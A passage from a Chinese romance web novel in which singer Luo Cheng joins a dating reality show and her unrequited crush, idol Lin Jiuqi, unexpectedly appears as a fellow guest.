詹江已调侃着:“就你惯着他。”
在林久期的审视下,也不知道是因为心虚还是怎么,洛澄借着整理围巾为由,缩回了詹江已一直牵着的手。
一行人往乔媛媛刚才说的观赏地去,两旁是摆的摊位,吆喝声连绵不绝。
洛澄在一家卖甜筒的商铺前停下了脚步。
她眼睛都快盯穿了,但随之而来的咳嗽让她有些望而却步。
身旁的詹江已道:“美人,病重可就不好了,等你感冒好了我带你去一家新开的雪糕店,你想吃多少吃多少。”
洛澄不语。
最近气温骤降,染了风寒,她也知道詹江已说的在理,可看着擦肩而过的人手里都拿着甜筒,她更馋了。
几人都在往前走了,洛澄却一动不动。
“老板,可以做一个小份的甜筒吗?”
“当然可以。”
“谢谢。”
“……”
熟悉的声音让洛澄错愕转头,林久期站定在她身侧,正在扫码结账。
老板很快就做好了。
林久期什么都没说,接过手的一刻便直接递给了她。
洛澄怔在原处,瞅着他手里只有掌心大的甜筒冰淇淋。
只听他说:“小份的。”
洛澄脑袋里乱麻一片,她很快镇定下来,想伸出去的手最后还是克制住了,“谢谢林老师的好意,我感冒的,就不吃了。”
凝视着洛澄的背影,林久期欲言又止。
好像从微博之夜后,她就有意无意地在远离他,那么明显的疏离,他感受的一清二楚。
林久期面色微变,眉心微蹙。
这应该就是他想要的才对,不要有过多的交集,保持一定的距离。
可为什么,心里有股说不出来的滋味?
林久期垂眸,幽幽地盯着白色冰淇淋外裹着的巧克力脆皮。
脑海里不禁浮现出洛澄和詹江已牵手的画面。
他们。
在一起了吗?
洛澄以最快的速度掉头走。
她怕她要控制不住自己了。
他总是这样,轻而易举就能拿捏她的心思。
明明已经决定放弃他了,可他每一个温柔的动作都能让她心里掀起波澜。
洛澄跟上大部队的脚步,林久期也紧随其后。
檀冶一眼就瞧见了林久期手里的甜筒。
黄谦正巧开口说话:“久期,你大冬天的吃雪糕不冷啊?”
随着话语落地,所有人都注视了过来,只有洛澄移开目光,瞩向旁处。
檀冶的目光在林久期脸上流连了一会儿,随后,从他手里拿了过去,吃了口,“给我的。”
洛澄稍抬眼睑,与詹江已的视线相碰。
不过两秒的时间,一个不问一个不说,两个心照不宣地撤离了视线。
零点整。
巨大的声响下,寺庙高空,盛大的烟花绽放,如同火树银花,美丽而梦幻。
詹江已:“美人,新年快乐。”
“同乐。”
洛澄仰着头,黑瞳里透着闪烁的耀眼光芒。
詹江已瞧着她,心在胸腔狂跳,他身子往她的方向挪动了下,胳膊触碰到了她的肩膀,“洛澄。”
洛澄沉浸在这场视觉盛宴中,挪不开眼,“嗯?”
林久期在身后倚着树干,注意力一直在他们身上。
只见詹江已忽然弯下腰。
林久期身子一僵,往日沉着冷静的眼里被慌乱所覆盖,云淡风轻的脸上也染着一抹惕色。
詹江已附在洛澄耳边低语:“我喜欢你,你愿意做我的女朋友吗?”
39. 第39章
“我喜欢你,你愿意做我的女朋友吗?”
他的呼吸暖暖地拂在鬓角处,洛澄的脸刹那间燃了起来,耳根滚烫。
两人离得很近,洛澄的余光能瞥见他的侧颜,他脸颊轮廓挺括,透着狂野的味道。
说不上是心动,可洛澄却一时间忘了呼吸。
如果没有林久期,她想,她真的会喜欢上詹江已吧。
久久没有回应。
詹江已抬手,轻轻拍掉她肩头粘着的雪粒,他收敛起平日里吊儿郎当的性子,他声音低磁中带着难得的温柔,“不急,我等你考虑。”
他直起腰,笑意舒朗。
洛澄抿了抿唇,在詹江已目不转睛地注视下,她耳朵持续发热,眼睛也有些尴尬地左右瞟着。
不经意间,她发现林久期正凝着自己,隔得太远,看不清他此刻的神情。
檀冶在一旁,一副看穿一切的表情。
虽然听不清那边的詹江已和洛澄说了什么,可他却一清二楚。
早在前几日,詹江已就透露过他打算和洛城表白,看方才两人的模样,肯定是了。
他声音很低,只有他们两人能听清,“他表白了。”
林久期直到现在,才明白不爱凑热闹的檀冶,为什么会主动提出要出门跨年,还是来人最多的地方,“你让我来茂林寺跨年,就是因为这个?”
檀冶一向不喜欢多管闲事,可无奈林久期又是个不愿意直面内心的人,他实在看不下去了。
“什么感觉?”
林久期不明白他在说什么,茫然望着他。
檀冶手指在林久期的胸口处轻点两下,“这里,什么感觉?”
林久期静静感受着,心脏仿佛被什么死死揪住,有种难以言喻的绞痛,还有股莫名的焦虑。
这种感觉,好奇怪。
一直以来心里的那片平静被石头彻底砸破,越是认真感受,林久期越是眉头紧锁,每次呼吸都带着剧烈的疼痛。
不用多说,檀冶也从他表情上看出答案了。
“洛澄要参加一档恋综。”
檀冶在公司无意间听到的,困意袭来,他打了个哈欠,神情倦倦,“就在下个月。”
-
自从跨年当天詹江已表白后,洛澄一直没有给他正面答复。
她问过乔媛媛一个问题:你爱的和爱你的,怎么选?
再问出来的时候,其实她犹豫了。
与其执着一个正眼都不看自己,只把她当同事的人,不如找一个喜欢自己的。
乔媛媛并没有在A和B里选择一个,她给了答案C。
“一定要这么选吗?就不可以选我爱的,也同样爱我的吗?”
洛澄被这句话问住了。
她也想找一个能相爱的,可感情这东西,最不能强求。
她曾经以为那么要好的关系,但时过境迁,早已物是人非。
——姌姌,生日快乐,还有,我喜欢你,你愿意做我的女朋友吗?
洛澄忍不住再次点开那段十八秒语音,林久期的声音让她鼻子一酸。
她紧抿着嘴唇,一阵酸楚下,泪水不受控地滑落。
林久期,放弃你,真的是件令人难过的事情。
-
红日落幕后的蓝调时刻。
洛澄拖着行李箱走在通往别墅的幽径小道上,她拉了拉围巾遮住大半张脸,抵挡如同锐刀搬锋利刺骨的寒风。
她推开别墅大门,扑面而来的暖气将她裹挟,与背后的冷意互相冲击。
她迅速关上门。
米白色为主色调的法式风别墅内,寂静无比,只有行李箱滚轮地板的声音。
洛澄还以为她是第一个先到的。
但走到客厅时,米色皮质沙发上躺着一人,洛澄最先看见的是他那双修长交叠的大长腿。
那人头枕着扶手,怀里抱着浅蓝色的抱枕,双眼闭合。
洛澄的动作轻了些,她小心翼翼把行李箱推在了靠墙的位置,怕扰了对方清梦,她回头确认般地看了眼。
那人依旧睡得安稳。
洛澄入座在他对面的单人沙发上,他清秀的长相让洛澄忍不住多观望了会儿。
他面部线条整体偏圆顿,但五官精致,有种灵动柔和的美,作为一个男生,洛澄可以用漂亮来形容他。
偏幼态的长相看上去才十八九岁。
别墅大门开了。
“钱塘岛真的太冷了,我家那边这个时间都还有十多度。”
“你老家是哪里的?”
“海滨市。”
咋咋呼呼的声音让洛澄不禁看向玄关处。
一男一女拖着行李箱嘻嘻哈哈地走进来。
女生在看到客厅的洛澄时,热情地抬手挥了挥,“Hello洛澄。”
洛澄认得她,也是九五后四小花旦之一,张可晴。
她微笑回应,“你们好。”
“洛澄?”张可晴旁边的男生大大咧咧地笑道:“你好啊,我叫周铮,铮铮铁骨的铮。”
他说话的同时目光挪到了沙发上睡觉的人身上,“这怎么还躺着一个。”
喧闹的声音让男生不得不睁开了眼,他缓缓坐起,揉着有些酸痛的脖颈,“你们好。”
他声音很淡,匿着还没睡醒的慵懒。
张可晴一眼就认出了他,“你是祁玖?!”
周铮:“你们认识?”
“他可是我们海滨市的香饽饽,10届的理科状元,保送海滨大学,本硕博连读生,第十一届全国医学生临床技能大赛第一名,获得过医学界很多比赛的奖项。”
张可晴滔滔不绝说着,脸上满满都是对这个老乡的崇拜,“你现在应该快博士毕业了吧。”
在听到张可晴说出祁玖名字时,洛澄身子一怔,好相像的名字。
祁玖,
久期。
祁玖点了点头。
“卧……”槽。
要不是因为节目是直播形式,在幕后还有几位观察员,周铮这句脏话差点脱口而出,他反应快,立马改口,“我的天,这么厉害啊,你今年多大啊?”
祁玖的眼神干净清澈,面对他们的惊讶和夸赞,他没有丝毫的自傲,平静道:“22了。”
洛澄心叹,比她还小一岁的博士生。
九六年的。
“和你这么一比,我可真是小巫见大巫。”
周铮突然觉得自己硕士学历已经平平无奇了。
观察室内——
女观察员感叹:“现在这社会真是越来越卷了。”
一位男观察员附和:“可不是吗,要比学历,这周铮确实比不过祁玖,但是要论家庭条件,这祁玖就比不过周铮了。”
“周铮什么家庭?”
“你不知道吗?周铮是最大的煤矿老板周楷的儿子。”
“周楷?”女观察员转头看向一旁的第三位观察员,“黄谦,周楷不是你舅舅吗?周铮是你表哥?”
-
“阿嚏!”
周铮打了个喷嚏,他揉了揉鼻子,“你们饿吗?要不先弄点吃的吧。”
张可晴肚子很配合地叫了两声,“有点。”
周铮迅速起身往一旁的开放式厨房去,他打开冰箱,里面应有尽有,“节目组真用心啊。”
他从里拿出不少材料,“吃咖喱饭怎么样?”
张可晴来到一旁,手撑着吧台,“你还会做饭?”
周铮挑眉,自豪道:“味道应该也不错。”
干坐着好像不太好,洛澄起身,“有什么可以帮忙的吗?”
周铮连忙说:“不用,你们歇着就行,我很快的。”
洛澄拿起工具,蹲在一旁的垃圾桶前削起了洋芋。
她虽然不会做饭,但打打下手还是可以的。
张可晴往楼上张望,“我先上去收拾行李。”
周铮从冷冻层里拿出鸡腿放在盆里,拧开水龙头接上水解冻,他用毛巾擦干手,“我帮你提上去。”
张可晴笑眯眯道:“辛苦咯,果然勤劳的男人最帅。”
客厅里只剩下洛澄和祁玖。
洛澄削好的洋芋放在水池里,祁玖默不作声地洗干净,放在菜板上,切菜的声音回响在空荡荡的别墅内。
咖喱饭最灵魂的配料莫属于洋葱。
洛澄在一旁都被冲得快要流眼泪了,她洗干净手,从茶几上扯了几张纸递给祁玖,他那双圆圆的眼眸也已然湿润。
两人的动作都顿了下,祁玖双手上都是一股冲鼻的洋葱味。
须
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臾。
洛澄走近,她抬手,捏着纸巾轻轻沾掉他眼角的泪珠。
洛澄看着眼前的这位人儿,皮肤像是白玉砌成的,没有一点瑕疵,像朵莲花,不染尘沉。
“谢谢。”
他声线也很好听,凉薄而低柔。
此时,别墅的大门再一次被打开。
周铮和张可晴也刚好从楼梯上走下来。
女孩的个子不高,一米六出头,吃力地拖着笨重的行李箱进来,在看到一屋子的人时,身子一抖,猝不及防的被吓了一跳。
所有人的目光都汇在了她一人身上,她咽了咽口水,脸上是毫不遮掩的慌张,像是鼓起了很大的勇气才说出口的一句话。
“你,你们好。”她磕磕绊绊地说:“我,我叫,黎青青。”
“黎青青?你俩名字还有点像。”周铮对着张可晴说了句,转而道:“你好,我叫周铮。”
其余几人也陆陆续续介绍了自己。
“祁玖,你帮她把行李拿上二楼吧,我先把大家的晚饭落实了。”
周铮说着就已经系好了围裙,不容祁玖有任何拒绝的机会。
周铮速度很快,短短的半个小时,不仅做了一锅咖喱,还顺道炒了四个小菜加一碗汤。
张可晴和黎青青优先坐在了餐桌左侧的中间两个位置,洛澄和祁玖坐在了他们对面。
张可晴:“是不是还少个人?”
闻言,所有人相视一眼。
《对你心动》这档恋综嘉宾共有三男三女,可目前只到了五位。
少了位男嘉宾。
至于他是谁,无人知晓。
“听说要晚些才来。”周铮端上来最后一盘菜,“菜上齐了。”
几人的左右两侧都还有空位,周铮摘下围裙,径直走向离他最远的位置,坐在了张可晴的身旁。
洛澄默默洞察着眼前的一切。
周铮对张可晴,但张可晴……
张可晴的对面就是祁玖,她虽一直在与周铮说话,可眼睛却总瞟向祁玖。
人的下意识行为是不会骗人的。
饭后闲聊是不可避免的。
“既然大家都是来参加恋综的,那不妨说说各自的理想另一半是什么样的吧。我先来。”
作为话题的发起人,周铮先说:“我喜欢开朗的,爱笑的,外在嘛,没什么要求,如果是长头发自然是最好了,还有……”
听着他的描述,说他是照着张可晴来形容的都不为过。
顺时针的顺序下去,张可晴看向祁玖,很快就移开视线,她笑吟吟道:“我没什么特定要求,我这人主要是看感觉。”
没问出什么有用的信息,周铮眼里闪过一丝失落,继而说道:“黎青青,该你了。”
“啊?”黎青青纳纳地抬头,她脸颊飞上一抹红晕,怯怯道:“我还没想好。”
她的脸肉眼可见的红透了,像个红苹果,让人忍不住想要咬上一口。
她性子内敛,大家也都不强迫她说出个一二三。
下一个是祁玖。
张可晴手撑着脸,目不转睛地望着他。
祁玖眉宇间一片温润柔和,“看感觉。”
听到这三个字,张可晴眼睛一亮,嘴角忍不住弯了弯,但很快就克制住了,“洛澄,你呢?”
“我……”
洛澄的脑海里浮现出一道清晰的人影,“他是安静的,温柔的,像清雅矜贵的世家公子,但又没有世家公子那样桀骜骄纵,他像清风,像净水,在他身上,总会给人一种岁月静好的安宁感。”
洛澄像个文绉绉的说书先生,周铮虽然不太明白她具体喜欢什么样的,但从她话里的形容来看……
“你说的这人,怎么这么像祁玖。”
此话一出,每个人脸色都变了,各怀鬼胎。
祁玖侧着身子趴在沙发靠背上,他眉目低垂,没什么反应。
张可晴脸上的笑容僵了下,她审视着洛澄。
洛澄下意识转眼朝向祁玖,她心里所想的人并非是他。
但周铮这么一说,仔细瞧着,他与那人无论是名字还是性子,亦或是给人的感觉,的确有几分相似。
正在洛澄想该怎么避免不必要的误会时。
大门被人推开了。
40. 第40章
所有人的目光齐刷刷挪向了大门的方向,都想知道这第六位嘉宾到底是什么样的。
但进来的却是三位观察员。
黄谦与周铮对视一眼,尔后又从洛澄的身上扫过,最后才微笑道:“大家晚上好,我是观察员黄谦。”
随同的另外两位观察员也相继介绍了自己。
都是娱乐圈知名艺人。
女歌手徐颖,男演员杨毅。
三位观察员来这,除了是和几位嘉宾打个照面,也是为了介绍他们明天的时间安排和主要活动。
未来的一个月内,他们都要在钱塘岛一起生活。
观察员说完也没有多逗留就离开了。
屋里又剩下了他们几人,几人也没有再继续闲聊,各回各的房间了。
翌日。
洛澄穿着白色的毛绒连衣裙,手里拿着的粉色羽绒服放置在沙发上,转而去灶台前帮忙。
“你快去坐着,我都弄好了的。”
周铮把每个人的分量都分装在了盘子里,贝果三明治双拼蓝莓,又配着他自制的拿铁咖啡,营养健康。
张可晴闻着味就下来了,“周铮,你也太厉害了吧!”
周铮眼睛满是得意,“不够的话还有。”
五人陆陆续续坐在了餐桌前。
食过早餐,刚好是十点整。
观察员也来了。
今天算是正式上岛的第一天。
根据安排,在不公开的前提下,三位女生分别秘密选择三个约会场所并前往,而男生们在从三个场所中选择自己最想约会地方,与女生汇合。
谁会选什么,一切都是未知。
周铮:“如果男生选到同一个地方呢?”
杨毅半开玩笑道:“那就只能大家一块约会了。”
张可晴:“可是只有他们俩呀,再怎么选总会有一个女孩子落单。”
黄谦:“这个你们不用担心,最后一位男嘉宾已经在来的路上了。”
-
游艇上。
“老师,这是一会儿您要去的三个约会场所,请您从中选择一个前往。”
海天一色,浪涛翻滚,坐在夹板上的男人穿着红色救生衣,他逆着光,冬日阳光洒在他身上,五官显得更加精美柔和。
他接过工作人员递来的三张卡片,细细浏览着。
半晌,他纤长的手指在某张卡片上轻轻一指,“去这吧。”
-
“欢迎光临。”
门框上挂着的风铃随着开关门而发出清脆的叮铃声。
吧台的服务员见着架着摄影机的一行人进来,她不由愣了下,店内其他的顾客也好奇地往门口看。
洛澄打量了一圈店内的布局,在看到不远处有向上的木制楼梯,她来到吧台,礼貌问道:“你好,请问二楼还有位置吗?”
“你是洛澄?!”
洛澄微笑点头,服务员收起惊讶的下巴,又继续道:“有的有的。”
她拿起菜单带路,“请跟我来。”
店内人不多,二楼更是空荡荡的。
洛澄找了个最佳观赏风景的靠窗位置坐下,透过玻璃,一眼能眺望到远处的海平面。
其他两处一个是海边沙滩上的露天咖啡店,一个是名为情人谷的地方。
两个位置都是室外,洛澄还是更愿意在温暖的空调房里。
她点了杯玫瑰气泡水,手撑着脑袋,望着外面景色发呆。
今天难得天晴,回温到了十度左右,礁石上的积雪也消失的无影无踪。
冬季的钱塘岛是淡季,他们在这里拍综艺,自然也没造成什么太大的轰动。
咖啡厅楼下的几位客人也陆陆续续离开了。整家店也只剩洛澄他们。
也不知过了多久,太阳穿过云层,变得更加耀眼。
洛澄有些乏了,她耷拉着眼皮,瞌睡虫开始侵蚀她的神经。
“叮铃——”
风铃声后,是脚踏楼梯的吱呀声。
洛澄双眼已经不自觉地阖上了,在她惬意地快进入梦乡时,她对面的椅子被人拉开。
周铮?还是祁玖?
怀着疑惑,洛澄缓缓睁开眼。
祁玖端坐在她对面,那双如黎明般的眼睛正温柔地瞧着她。
他声音很轻,带着些歉意,“打扰到你休息了。”
洛澄摆摆手,“没有的事。”
服务员端着杯死气腾腾的咖啡上来,“先生,您的咖啡。”
祁玖礼貌道谢。
服务员拿着托盘,离开时一步三回头,眼神在祁玖身上流连。
这家咖啡厅的位置虽然是室内,但离他们住的别墅是最远的,开车要四十多分钟。
女生是先出发的,等都到地方以后,男生们才开始陆续出发。
现在的时间已经快十二点了。
洛澄猜测,“应该没有其他人来了吧。”
祁玖问:“你希望有其他人来吗?”
洛澄没有回答,反问道:“你在这里遇见我,意外吗?”
“意外,”祁玖顿了下,他说的真诚,“也惊喜。”
洛澄轻笑出声,“我知道旁边有一家很好吃的刨冰店,去吗?”
祁玖:“好。”
前几年乔媛媛恰好来钱塘岛度过假,她回去后,一直安利一家刨冰店,那段时间洛澄觉得自己一睁眼,耳边就是“刨冰”两个字。
他家是十多年的老店,无论是当地人还是游客,都喜爱的不行。
还没走到店门口,一眼望去就是长长的队伍。
祁玖什么都没说,走到队伍最后排起队。
漫长的等待是最无聊的,洛澄和祁玖一站就是一个多小时。
洛澄看着祁玖的眼里透着一股欣赏之意。
他居然一句抱怨,甚至一点不耐的情绪都没有。
软绵绵的粉色冰上放着红豆和椰果,还有两朵小花图案的粉红雪糕,洛澄尝上一口,清甜的草莓味蔓延开来。
洛澄倒吸了口气。
果然,冬天吃冰真的劲牙,但却意外的过瘾。
祁玖手里是碗绿色的刨冰,“很好吃。”
洛澄随口一说:“抹茶味的吗?”
“嗯。”祁玖递到她面前,“尝尝吗?”
“我不喜欢吃抹茶味的东西。”
两人并肩往之前那家咖啡厅的方向去,洛澄故意问了句,“你好像很喜欢抹茶味。”
祁玖淡淡嗯了下。
“真像。”
“什么?”
“……”
没想到自己心里话脱口而出了,对上祁玖疑惑的眼神,洛澄扯起一抹笑,“你和我认识的一个人很像。”
两人已经来到了咖啡厅外,祁玖没打算追问,他瞥向海边,“玩摩托艇吗?”
顺着他的视线望去,有两辆摩托艇在蔚来的海上飞驰,上演着速度与激情。
洛澄来了兴致,“行啊。”
沙滩上有工作人员在侯着,洛澄本是想让工作人员带她一起。
祁玖:“相信我。”
海上摩托是勇敢者的游戏,看上去温温和和的祁玖,这分
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钟却叱咤在海浪中,透着股野性和狠劲。
震耳的发动机声音下,水面划开层层涟漪,太阳光芒的照射下,海上一片波光粼粼。
“抓紧了!”
耳畔边是凶猛呼啸的狂风,卷动着的头发凌乱不堪,洛澄没听清,“你说什么?!”
祁玖提高音量,“我说!抓紧了!”
洛澄趴在祁玖的后背上,听到他的话后环住他的双手更加紧了紧。
下一秒,摩托艇再次提速。
是乘风破浪的狂飙。
摩托艇上下晃动,时不时有海水拍打溅在脸上,又滑至唇边,入口咸咸的。
祁玖:“开心吗?!”
跟着一个又一个剧烈的起伏,洛澄放声呐喊,“开心!好久没有这么开心了!”
刺激兴奋导致内啡肽分泌,心跳不断加速,荷尔蒙也在这一刻要达到了顶峰。
就算回到了岸上,祁玖心里那涌动的情绪仍未消散,他眼神炽热,“还想继续吗?”
洛澄双腿有些发软,祁玖扶住她。
她兴致也未过,“玩什么?”
祁玖眉眼弯了弯,顺势拉上洛澄的手,“跟我走。”
来到另一处。
海上飞人。
洛澄瞪大眼睛盯着眼前在水平面上自由翱翔的人,她咽了咽口水。
祁玖:“害怕了?”
洛澄:“怎么可能,玩!”
上天会惩罚每一位嘴硬的人。
洛澄在踩上飞行器的那一刻,她就后悔了。
祁玖穿着装备,在洛澄身后抱着她,附在她的耳边轻语,温柔的声音里带着几分嬉笑,“现在反悔还来得及。”
洛澄脸色已经开始发白,强装镇定道:“谁反悔了?还是说是你怕了?”
闻言,祁玖微怔,随即他肩膀微颤,低低笑出了声。
他摸到她的双手已经冰凉透顶,她明明自己害怕得紧,但还这般倔强,一时觉得有些可爱。
“那……”祁玖嘴角的弧度像是想极力克制,“准备好了吗?”
洛澄的后背贴紧了祁玖的胸膛,感受到他的胸腔因笑而此起彼伏。
她咬咬牙,“准备好了。”
紧接着,就在一瞬间,两人腾空而起,如鹰击长空。
洛澄一个没忍住,“啊”地大叫一声,双眼也下意识地紧闭。
“洛澄。”
洛澄苦着脸,“干嘛?”
“别怕,有我。”祁玖抱紧她,“往上看,很美。”
洛澄的心脏仿佛提到了嗓子眼,她低着头,试图睁开眼,但从高空俯视而下,差点让她晕眩过去。
祁玖鼓励的声音在头顶响起,“有我在,你可以放心大胆的享受这一刻。”
洛澄深呼吸了好几口气。
旋即,她再次睁开眼。
这一次,她向远处望去。
一望无际的大海仿佛与天际合为一体,浪涛跳跃不定,美丽的烟波蓝深深印在她眼底。
空气中弥漫着海盐味,是大自然独有的气味,也是自由的气味。
洛澄还没从这惊魂未定又充满兴奋的情绪中走出,他们已经安全落地。
祁玖在一旁拆卸身上的装备。
洛澄赤裸着的双脚踩在柔密的沙子上,血液仿佛在体内疾驰,步伐有些发虚。
她弯腰想去拿自己的鞋子,却突然头晕目眩,整个人不受控地倒向一旁。
然而。
一双温暖的手及时拉住了她的胳膊。
鼻息间闯入一股清淡的白茉莉香。
41. 第41章
洛澄整个人僵持住了。
无论是气味,还是给人的感觉,这一切都太过熟悉了。
她的心脏在这一刻开始剧烈跳动,目光也一直停瞩在他胸口处的白色羽绒服下的蓝色卫衣字母花纹上,迟迟不敢往上看。
大致是过了五六秒。
“还好吗?”
对方询问的声音传来。
洛澄站稳身子,她垂着目,嘴巴像被糊上了胶水,粘得牢实,那句谢谢始终说不出口。
林久期为什么在这里?
他来这做什么?
旅游?工作?
洛澄脑海里飞速冒出无数个想法。
如果林久期问起她怎么在这里,她又该怎么回答?
老老实实说自己是来拍恋综吗?
想到这,洛澄心里一紧。
明明决定不想在意了,明明已经出现在这档综艺里了,为什么还要害怕被他知道。
真没出息。
懊恼的情绪占满了她整个大脑,她来不及思考,也听不清周围的喧闹。
这时,林久期微微弯下腰与她平视,那双明亮干净的棕色瞳孔里含着担忧,他眉头也轻轻蹙着,“是哪里不舒服吗?”
“……”
她不想看他。
可视线还是不由自主落在他这张无可挑剔的脸上。
她动了动唇,想说些什么。
祁玖快步过来,“怎么了?身体不舒服吗?是不是刚才速度太快了?”
他下意识牵住洛澄手腕的这个动作,让林久期眼眸一深。
洛澄连忙说:“没有,我是在想一会儿吃什么。”
不知为何她有些心虚。
也不知道林久期什么时候来的,又来了多久。
她和祁玖玩项目的时候,他会不会都看到了?
林久期看向旁边这个陌生的男人,长得眉清目秀,看着洛澄的眼神含情脉脉的。
他其实来这好一会儿了,一直在不远处的咖啡厅坐着。
他从下游艇后就直奔目的地,结果到地方发现没人。
坐等了许久,却看见洛澄和别人吃着冷饮往海边去,两人甚至还一起玩了海上娱乐项目。
他们笑声有多大,林久期听着就有多刺耳。
祁玖对上林久期的眼,四目相撞,无声中似乎燃起了火花。
两人此刻站在一起,虽相貌不同,却气质相像。
洛澄在旁介绍道:“这位是林老师,TheOne队长。林老师,这位是祁玖,海滨大学在读博士。”
两人互相打了招呼,对视一笑。
空气中有种诡异的气氛,洛澄浑身不自在,她想尽快逃离,“林老师,我们还有事,先走了。”
转身欲走,林久期拉住她的手,“我们应该是同行的。”
心脏没有预兆的抽痛,像是被什么东西狠狠剜了下,洛澄背对着他,一动不动。
祁玖见状,悠悠转身,“没想到身居顶流的林老师也会来参加恋综。”
林久期抿起一丝微笑,“这世间想不到的事还有很多。”
听着二人的话,洛澄只觉得抓马。
所以,正如杨毅说的,他们真要一块约会了。
然而。
三个人的约会总会有一个人是多余的。
林久期没想到,那个多余的人居然是自己。
一顿饭下来,洛澄几乎不正眼瞧他,连说话也只和祁玖,对他,最多回个一两句。
眼睁睁看着两人有说有笑,祁玖甚至还会帮洛澄剥虾。
林久期脸色依旧如常,但一股酸流涌上心头,嫉妒的情绪持续膨胀。
夜幕。
“他们怎么还没回来?”
张可晴敷着面膜下楼,客厅还是只有周铮和黎青青两人。
今天的约会她和周铮遇见了,而黎青青却是一人,不用想,剩下的三人凑在一起了。
不过也好,避免了洛澄和祁玖的二人约会。
张可晴美滋滋地坐在沙发上,周铮贴心的递给她毛毯。
张可晴:“真好奇他们都去哪里玩了。”
说曹操曹操到。
三人一同扭头朝向门口,另外三人先后进了别墅。
“你们都去……啊?!”
在看到第三个人进来时,张可晴的眼睛明显瞪大,惊讶到几乎忘记了喘息,“林久期?!”
其余二人也惊呆了。
林久期不仅作为娱乐圈最火的男团组合队长,他自己单拎出来也是顶流人物。
这样的人来恋综,等节目播出以后指不定网上得炸成什么样子。
他嘴角噙着浅笑,“你们好。”
别墅里有热闹了不少。
见几人聊得不亦乐乎,洛澄独自上了楼。
她在二楼浴室洗了个热水澡便回了屋。
窗帘敞开着,她盯着外面的枯树枝发起了呆。过了许久才回神,拿起手机敲了几个字。
【林久期来恋综了。】
还没等到乔媛媛的回复,詹江已的电话先打了进来。
“美人,今天的录制结束了吗?”
“结束了。”
话语里带着浓重的鼻音,洛澄拧了下眉,差点没认出这是自己的声音。
詹江已也听出来了,“感冒了?”
洛澄清了清嗓子,“没有。”
詹江已还在电话那头嘱咐她要多注意身子,此时响起了敲门声。
“你等一下。”
跟詹江已说完,洛澄起身去开门,林久期伫立在门外。
洛澄目光移到他手里端着的碗上,都不用问,那股浓烈的姜味已经传至鼻息。
洛澄房门口处刚好有一只置物柜,林久期都不用进来,一抬手,碗就放在了柜子上,“趁热喝,早些休息。”
刚准备离开,他不经意一瞥,洛澄手里握着的手机屏幕是亮着的,他目光定格了两秒。
旋即,他说:“那天烟花大会之后,有件事我一直想当面跟你说。”
“什么事?”
“等拍完节目后再说吧。”林久期温吞道:“晚安。”
望着林久期离开的背影,洛澄陷入沉思。
他们俩能有什么事情好说的?
“美人。”
电话里詹江已的声音扯回了她的思绪。
来恋综之前,她找了个时间约了詹江已见面,她很认真的考虑后,还是决定拒绝。
詹江已也爽快,表示自己以后也不会再提这件事,两人就当什么都没发生,当朋友相处就好。
话是这么说,可洛澄还是怕他会不死心,通话中隐隐约约保持着疏离。
詹江已也感受到了,“美人,等我再遇到心动的姑娘,你可得帮我出出主意啊。”
洛澄闻言,心安不少,“行啊,没问题。”
-
林久期洗漱
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回屋,床头柜上充电的手机嗡嗡震动着,他弯腰拾起。
接听后,电话那头的人开门见山道:“你去参加恋综了?”
林久期掀开被子一角,靠坐在床头,声音淡淡的,夹着几分困意,“嗯,对。”
电话里陷入一片沉默。
数秒后。
“久期,你该不会是冲着美人去的吧。”
-
晨光熹微。
洛澄出房间时恰巧碰见隔壁屋出来的林久期。
“谢谢你的姜茶。”
她昨日本来是有些感冒受凉,喝了姜茶后才缓解了不少。
“管用就好。”
昨晚,洛澄上楼后。
其他几人也没聊多久就散了,林久期在灶台下找到几块生姜,又从冰箱里翻出了红糖。
周铮下楼拿东西时,生姜那独有的辛辣味让他吸了吸鼻子,“林老师,你这是在?”
他走过去一看,林久期正在熬红糖姜茶,“林老师你感冒了?”
风从旁边打开的窗户灌入,吹得林久期发丝轻撩,他微启的薄唇染着笑意,“驱驱寒。”
……
其他房间的人也陆续起床了。
两人没再多说,一同下了楼。
晴空万里之下。
别墅外。
三位观察员介绍着这次集体活动的规则。
一二三,木头人。
女生选人,两两一组,选好的男女搭档需要双方把一只脚用绳带绑住,观察员站在终点的位置说“一二三木头人”,当喊道“木头人”三个字时,所有人不能动。
而三队人停下来的动作,必须要和观察员给出的指定动作一致,否则需回到起点重新开始。
率先抵达终点摸到观察员肩膀的队伍获胜。
看着前往终点的路上摆满了障碍物,张可晴唏嘘道:“这个栅栏这么高,我们女生很难过去呀,青青都可以从底下直接走过去了。”
黎青青身高只有一米六,站在栅栏旁,恰好与横着的杆子齐平。
周围一片嬉笑声,黎青青脸蛋瞬间红透。
杨毅把杆子又下降了些,他目光在黎青青身上扫过,像是在确认一般。
杆子随着他的确认又降低了,“查不多了。”
选人环节。
三位女生通过拆选来决定优先顺序。
黎青青第一个。
她吸了口气,缓缓走向周铮。
三位观察员都露出意味不明的笑容。
黄谦:“洛澄,该你了。”
还剩下林久期和祁玖。
洛澄这分钟真的觉得老天爷是故意的。
猜拳时她一直祈祷自己能是最后一个选择的,可现在却是最坏的局面。
一旁的两人说着小话。
徐颖往旁边杨毅的位置挪了挪,小声道:“你说她会选谁?”
杨毅压低声音,“肯定是林久期。”
洛澄那首火爆全网的原唱歌曲《四年》,所有人都在讨论歌里唱的人究竟是谁。
直到微博之夜的颁奖典礼上,她拿着话筒,昭告天下。
现在所有人都一致认为,这首歌是洛澄单方面思慕林久期而写的。
而现在这个可以和林久期近距离接触的机会,她肯定不会放过。
洛澄看着面前的二人,攥着绿色绳带的手紧了紧。
良久,她迈开步子,朝他们走去。
42. 第42章
众目睽睽之下,洛澄朝他们径直走去。
她手里的绿色绑带递给祁玖。
所有人都呆住了,包括林久期在内。
就连祁玖自己也没想到,洛澄居然会选择他。
两人退到一旁,只剩下张可晴和林久期,自动成为一组。
“真的假的,洛澄居然不选林久期?”
张可晴声音不大,但足以让在场的人都听了去。
林久期下颚不由紧绷,眼睁睁看着洛澄和祁玖走向一旁,耳边还回荡着张可晴的声音。
“你还别说,这洛澄和祁玖,站在一起真是郎才女貌。”
站在他背后的周铮上前两步,“我们站在一起难道就不郎才女貌了?”
没和祁玖组成队,张可晴本就心情欠佳,此刻就差把无语二字写脸上了,“快去黎青青那边,我跟你又不是一队的。”
游戏开始。
“三二一——”
黄谦故意拉长了音,在三对都在过第一个杆子障碍物时,他猝不及防道:“木头人。”
黄谦转过身,所有人都做着旁边徐颖和杨毅给出的动作,一对的两人手挨在一起比心。
没有人动。
游戏继续。
“三二一……木头人。”
洛澄站在搭建的独木桥上,侧边的祁玖一只脚踩在木板上,手紧紧牵住洛澄。
